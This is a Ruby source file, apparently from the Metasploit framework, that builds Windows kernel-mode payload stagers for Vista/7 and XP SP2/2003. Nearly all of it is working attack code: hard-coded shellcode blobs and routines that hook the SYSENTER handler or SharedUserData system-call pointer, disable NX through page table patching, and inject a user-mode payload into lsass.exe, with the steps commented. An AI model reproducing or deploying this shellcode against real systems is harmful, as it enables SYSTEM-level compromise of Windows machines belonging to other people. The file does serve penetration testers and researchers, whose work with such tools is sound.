# -*- coding: binary -*- module Rex module Payloads module Win32 module Kernel # # Stagers are responsible for reading in another payload and executing it. # The reading in of the payload may actually be as simple as copying it to # another location. The executing of it may be done either directly or # indirectly. # module Stager # # Works on Vista, Server 2008 and 7. # # Full assembly source at: # /msf3/external/source/shellcode/windows/x86/src/kernel/stager_sysenter_hook.asm # # This payload works as follows: # * Our sysenter handler and ring3 stagers are copied over to safe location. # * The SYSENTER_EIP_MSR is patched to point to our sysenter handler. # * The ring0 thread we are in is placed in a halted state. # * Upon any ring3 proces issuing a sysenter command our ring0 sysenter handler gets control. # * The ring3 return address is modified to force our ring3 stub to be called if certain conditions met. # * If NX is enabled we patch the respective page table entry to disable it for the ring3 code. # * Control is passed to real sysenter handler, upon the real sysenter handler finishing, sysexit will return to our ring3 stager. # * If the ring3 stager is executing in the desired process our sysenter handler is removed and the real ring3 payload called. # def self.stager_sysenter_hook( opts = {} ) # The page table entry for StagerAddressUser, used to bypass NX in ring3 on PAE enabled systems (should be static). pagetable = opts['StagerAddressPageTable'] || 0xC03FFF00 # The address in kernel memory where we place our ring0 and ring3 stager (no ASLR). kstager = opts['StagerAddressKernel'] || 0xFFDF0400 # The address in shared memory (addressable from ring3) where we can find our ring3 stager (no ASLR). ustager = opts['StagerAddressUser'] || 0x7FFE0400 # Target SYSTEM process to inject ring3 payload into. process = (opts['RunInWin32Process'] || 'lsass.exe').unpack('C*') # A simple hash of the process name based on the first 4 wide chars. # Assumes process is located at '*:\windows\system32\'. checksum = process[0] + ( process[2] << 8 ) + ( process[1] << 16 ) + ( process[3] << 24 ) # The ring0 -> ring3 payload blob. r0 = "\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x60" + "\x8B\x7E\x64\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" + "\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" + "\x58\x8B\x58\x57\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" + "\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x34" + "\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x28\x8B\x58\x5F\x8D" + "\x5B\x6C\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" + "\x00\x74\x11\xBA\x45\x45\x45\x45\x81\xC2\x04\x00\x00\x00\x81\x22" + "\xFF\xFF\xFF\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43" + "\x43\x43\x43\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2E" + "\x8B\x43\x10\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9" + "\x44\x44\x44\x44\x75\x18\xE8\x0A\x00\x00\x00\xE8\x10\x00\x00\x00" + "\xE9\x09\x00\x00\x00\xB9\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3" # The ring3 payload. r3 = '' r3 += _createthread() if opts['CreateThread'] == true r3 += opts['UserModeStub'] || '' # Patch in the required values. r0 = r0.gsub( [ 0x41414141 ].pack("V"), [ ( r0.length + r3.length - 0x1C ) ].pack("V") ) r0 = r0.gsub( [ 0x42424242 ].pack("V"), [ kstager ].pack("V") ) r0 = r0.gsub( [ 0x43434343 ].pack("V"), [ ustager ].pack("V") ) r0 = r0.gsub( [ 0x44444444 ].pack("V"), [ checksum ].pack("V") ) r0 = r0.gsub( [ 0x45454545 ].pack("V"), [ pagetable ].pack("V") ) # Return the ring0 -> ring3 payload blob with the real ring3 payload appended. return r0 + r3 end # # XP SP2/2K3 SP1 ONLY # # Returns a kernel-mode stager that transitions from r0 to r3 by placing # code in an unused portion of SharedUserData and then pointing the # SystemCall attribute to that unused portion. This has the effect of # causing the custom code to be called every time a user-mode process # tries to make a system call. The returned payload also checks to make # sure that it's running in the context of lsass before actually running # the embedded payload. # def self.sud_syscall_hook(opts = {}) r0_recovery = opts['RecoveryStub'] || Recovery.default r3_payload = opts['UserModeStub'] || '' r3_prefix = _run_only_in_win32proc_stub("\xff\x25\x08\x03\xfe\x7f", opts) r3_size = ((r3_prefix.length + r3_payload.length + 3) & ~0x3) / 4 r0_stager = "\xEB" + [0x22 + r0_recovery.length].pack('C') + # jmp short 0x27 "\xBB\x01\x03\xDF\xFF" + # mov ebx,0xffdf0301 "\x4B" + # dec ebx "\xFC" + # cld "\x8D\x7B\x7C" + # lea edi,[ebx+0x7c] "\x5E" + # pop esi "\x6A" + [r3_size].pack('C') + # push byte num_dwords "\x59" + # pop ecx "\xF3\xA5" + # rep movsd "\xBF\x7C\x03\xFE\x7F" + # mov edi,0x7ffe037c "\x39\x3B" + # cmp [ebx],edi "\x74\x09" + # jz "\x8B\x03" + # mov eax,[ebx] "\x8D\x4B\x08" + # lea ecx,[ebx+0x8] "\x89\x01" + # mov [ecx],eax "\x89\x3B" + # mov [ebx],edi r0_recovery + "\xe8" + [0xffffffd9 - r0_recovery.length].pack('V') + # call 0x2 r3_prefix + r3_payload return r0_stager end protected # # Stub to run a prepended ring3 payload in a new thread. # # Full assembly source at: # /msf3/external/source/shellcode/windows/x86/src/single/createthread.asm # def self._createthread r3 = "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + "\x31\xC0\x50\x50\x50\x8D\x9D\xA0\x00\x00\x00\x53\x50\x50\x68\x38" + "\x68\x0D\x16\xFF\xD5\xC3\x58" return r3 end # # This stub is used by stagers to check to see if the code is # running in the context of a user-mode system process. By default, # this process is lsass.exe. If it isn't, it runs the code # specified by append. Otherwise, it jumps past that code and # into what should be the expected r3 payload to execute. This # stub also makes sure that the payload does not run more than # once. # def self._run_only_in_win32proc_stub(append = '', opts = {}) opts['RunInWin32Process'] = "lsass.exe" if opts['RunInWin32Process'].nil? process = opts['RunInWin32Process'].downcase checksum = process[0] + (process[2] << 8) + (process[1] << 16) + (process[3] << 24) "\x60" + # pusha "\x6A\x30" + # push byte +0x30 "\x58" + # pop eax "\x99" + # cdq "\x64\x8B\x18" + # mov ebx,[fs:eax] "\x39\x53\x0C" + # cmp [ebx+0xc],edx "\x74\x26" + # jz 0x5f "\x8B\x5B\x10" + # mov ebx,[ebx+0x10] "\x8B\x5B\x3C" + # mov ebx,[ebx+0x3c] "\x83\xC3\x28" + # add ebx,byte +0x28 "\x8B\x0B" + # mov ecx,[ebx] "\x03\x4B\x03" + # add ecx,[ebx+0x3] "\x81\xF9" + [checksum].pack('V') + # cmp ecx,prochash "\x75\x10" + # jnz 0x5f "\x64\x8B\x18" + # mov ebx,[fs:eax] "\x43" + # inc ebx "\x43" + # inc ebx "\x43" + # inc ebx "\x80\x3B\x01" + # cmp byte [ebx],0x1 "\x74\x05" + # jz 0x5f "\xC6\x03\x01" + # mov byte [ebx],0x1 "\xEB" + [append.length + 1].pack('C') + # jmp stager "\x61" + append # restore regs end end end end end end